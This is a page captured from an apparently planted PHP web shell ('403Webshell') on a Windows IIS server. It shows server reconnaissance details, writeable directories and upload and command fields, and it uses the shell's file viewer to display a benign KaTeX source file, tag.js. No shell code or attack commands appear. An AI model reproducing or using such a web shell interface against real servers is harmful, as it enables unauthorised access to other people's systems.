403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.101
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Program Files/Microsoft VS Code/ce099c1ed2/resources/app/node_modules/katex/src/functions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Program Files/Microsoft VS Code/ce099c1ed2/resources/app/node_modules/katex/src/functions//tag.js
// @flow
import {defineFunctionBuilders} from "../defineFunction";
import mathMLTree from "../mathMLTree";

import * as mml from "../buildMathML";

const pad = () => {
    const padNode = new mathMLTree.MathNode("mtd", []);
    padNode.setAttribute("width", "50%");
    return padNode;
};

defineFunctionBuilders({
    type: "tag",
    mathmlBuilder(group, options) {
        const table = new mathMLTree.MathNode("mtable", [
            new mathMLTree.MathNode("mtr", [
                pad(),
                new mathMLTree.MathNode("mtd", [
                    mml.buildExpressionRow(group.body, options),
                ]),
                pad(),
                new mathMLTree.MathNode("mtd", [
                    mml.buildExpressionRow(group.tag, options),
                ]),
            ]),
        ]);
        table.setAttribute("width", "100%");
        return table;

        // TODO: Left-aligned tags.
        // Currently, the group and options passed here do not contain
        // enough info to set tag alignment. `leqno` is in Settings but it is
        // not passed to Options. On the HTML side, leqno is
        // set by a CSS class applied in buildTree.js. That would have worked
        // in MathML if browsers supported <mlabeledtr>. Since they don't, we
        // need to rewrite the way this function is called.
    },
});


Youez - 2016 - github.com/yon3zu
LinuXploit